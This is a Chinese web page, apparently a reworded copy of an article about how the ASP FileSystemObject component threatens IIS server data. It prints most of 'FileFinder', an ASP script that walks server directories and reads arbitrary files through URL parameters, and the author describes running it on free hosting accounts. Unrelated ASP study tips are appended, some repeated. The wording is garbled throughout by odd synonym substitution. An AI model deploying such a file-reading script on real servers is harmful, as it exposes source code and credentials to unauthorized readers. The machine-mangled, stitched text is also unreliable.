ASP网站制作之ASP中FSO工具对IIS WEB服务器数据平安的...
缺点:正版成本价格贵(盗版就不说了)、不够安全,大多数服务器用windows系统,没有linux安全fso|iis|web|web服务|web服务器|平安|工具|数据scripting.filesystemobject工具是由scrrun.dll供应的很多供vbscript/jscript把持的com工具之一。scripting.filesystemobject供应了十分便当的文本文件和文件目次的会见,可是同时也对iisweb服务器数据平安形成了必定的威逼。filefinder的代码很复杂,由3个函数和30行摆布的按次代码组成。
最关头的是findfiles函数,经由过程对它的递回挪用完成对某个目次的遍历,而且依照特定的文件扩大名来征采这些文件。
functionfindfiles(strstartfolder,strext)
dimn
dimothisfolder
dimofolders
dimofiles
dimofolder
dimofile
假如体系办理员对文件体系的权限举行仔细的设置话,上面的代码就要堕落
可是有些目次仍是能够观察的,以是我们复杂的把毛病疏忽已往
onerrorresumenext
n=0
response.write"<b>searching"&strstartfolder&"</b><br>"
setothisfolder=g_fs.getfolder(strstartfolder)
setofiles=othisfolder.files
foreachofileinofiles
假如是指定的文件扩大名,输入毗连导向自己,但用分歧的命令cmd
在这里是cmd=read,即读出指定物理路径的文本文件
ifissuffix(ofile.path,strext)then
response.write"<atarget=_blankhref=ff.asp?cmd=read&path="&server.htmlencode(ofile.path)&"><fontcolor=dodgerblue>"&ofile.path&"</font></a><br>"
iferr=0then
n=n+1
endif
endif
next
setofolders=othisfolder.subfolders
foreachofolderinofolders
n=n+findfiles(ofolder.path,strext)
next
findfiles=n
endfunction
上面的代码是对url前面的参数举行剖析:
读出各个参数的值
strcmd=ucase(request.querystring("cmd"))
strpath=request.querystring("path")
strext=request.querystring("ext")
brawdata=ucase(request.querystring("raw"))
默许搜刮.asp文件
ifstrpath=""then
strpath="."
endif
ifstrext=""then
strext=".asp"
endif
依据分歧的命令cmd实行分歧的代码
selectcasestrcmd
case"find"
response.writefindfiles(strpath,strext)&"file(s)found"
case"read"
ifbrawdata="t"then
response.writereadtextfile(strpath)
else
response.write"<pre>"&server.htmlencode(readtextfile(strpath))&"</pre>"
endif
caseelse
response.write"<h3>pleasespecifyacommandtoexecute</h3>"
endselect
从下面的剖析能够看出,假如有充足的权限的话,我们就能够经由过程filefinder来查找iisweb服务器上的恣意文本文件,而且能够轻松的观察文件内容。关于非文本文件,能够断定他们是不是存在及其地点路径,这关于初级hacker们来讲,这些信息偶然是极为主要的。
可是这些对数据平安的威逼的条件前提是实行ff.asp的用户最少具有读取目次和文件的权限。因为windowsntserver在安装后的默许平安设置是一切用户都能够“读取”目次和文件,以是不论是iis默许的你名用户iusr_servername仍是其余甚么用户,都能够顺列的读取目次和文件的信息。而年夜多半windowsntserver体系办理员次要体贴体系是不是可以运转的起来,一样平常不肯意往修改默许的目次和文件权限,究竟那样做要冒很年夜的风险,并且必要良多次得履历。以是,我们能够用filefinder来反省作为web服务器的ntserver的文件体系的平安设置是不是平安。
作者专门对作为iisweb服务器的文件体系的权限举行了野生设置,但限于没有履历,招致了很多奇异的毛病征象,如:所用的做实行的ntserver4.0不克不及举行access数据库的毗连。而在举行文件体系权限修改之前,这些功效是一般的。
本着地道研讨的目标,作者还在我所请求的收费asp空间上作了实验(包含csdn供应的我的团体主页),了局是filefinder都能够顺遂运转。而在http://www2.domaindlx.com/index.html请求的团体主页却没有这个成绩,可见这个收费asp主页供应商在这方面做的仍是对照仔细的。只管domaindlx的web服务器运转在windows2000server上的,其默许的文件体系的平安权限和nt4.0没有很年夜的不同。
因为作者的才能无限,就对这个成绩会商到这里。仅以此文来向国际的asp主页供应商供应参考定见,但愿能对供应商和客户两边的数据平安都有所匡助。
附:用别的相似的服务器端剧本来运转的web服务,假如也供应相似scripting.filesystemobject的对文件体系操纵的功效,不论甚么平台应当存在一样的成绩。
</p>由于ASP还是一种Script语言所没除了大量使用组件外,没有办法提高其工作效率。它必须面对即时编绎的时间考验,同时我们还不知其背后的组件会是一个什么样的状况; 我认为比较好的方法是找一些比较经典的例子,每个例子比较集中一种编程思想而设计的。 作为IE上广为流传的动态网页开发技术,ASP以它简单易学博得了广大WEB程序爱好这的青睐,而且它对运行环境和开发品台的不挑剔,以及有大量有效的参考手册,极大的推广了它的发展。 多看多学多思。多看一些关于ASP的书籍,一方面可以扩展知识面一方面可以鉴借别人是如何掌握、运用ASP的;多学善于关注别人,向同学老师多多学习,不论知识的大小;多思则是要将学到的知识灵活运用。 ASP.Net摆脱了以前ASP使用脚本语言来编程的缺点,理论上可以使用任何编程语言包括C++,VB,JS等等,当然,最合适的编程语言还是MS为.NetFrmaework专门推出的C(读csharp),它可以看作是VC和Java的混合体吧。 Request:从字面上讲就是“请求”,因此这个是处理客户端提交的东东的,例如Resuest.Form,Request.QueryString,或者干脆Request("变量名") 用户端的浏览器不需要提供任何别的支持,这样大提高了用户与服务器之间的交互的速度。 运用ASP可将VBscript、javascript等脚本语言嵌入到HTML中,便可快速完成网站的应用程序,无需编译,可在服务器端直接执行。容易编写,使用普通的文本编辑器编写,如记事本就可以完成。由脚本在服务器上而不是客户端运行,ASP所使用的脚本语言都在服务端上运行。 从事这个行业,那么你可以学ASP语言,简单快速上手,熟练dreamweav排版,写asp代码,熟练photoshop处理图片,打好基础就行了 运用ASP可将VBscript、javascript等脚本语言嵌入到HTML中,便可快速完成网站的应用程序,无需编译,可在服务器端直接执行。容易编写,使用普通的文本编辑器编写,如记事本就可以完成。由脚本在服务器上而不是客户端运行,ASP所使用的脚本语言都在服务端上运行。 兴趣爱好,那么你无须学编程,申请一个域名和空间,在网上下载一些免费开源的CMS系统,你不用改代码,只须熟悉它们的后台操作,像office一样简单方便,很快就能建一个站点,很多站长都是这样做的 我就感觉到ASP和一些常用的数据库编程以及软件工程方面的思想是非常重要的。我现在也在尝试自己做网页,这其中就用到了ASP,我想它的作用是可想而知的。
页:
[1]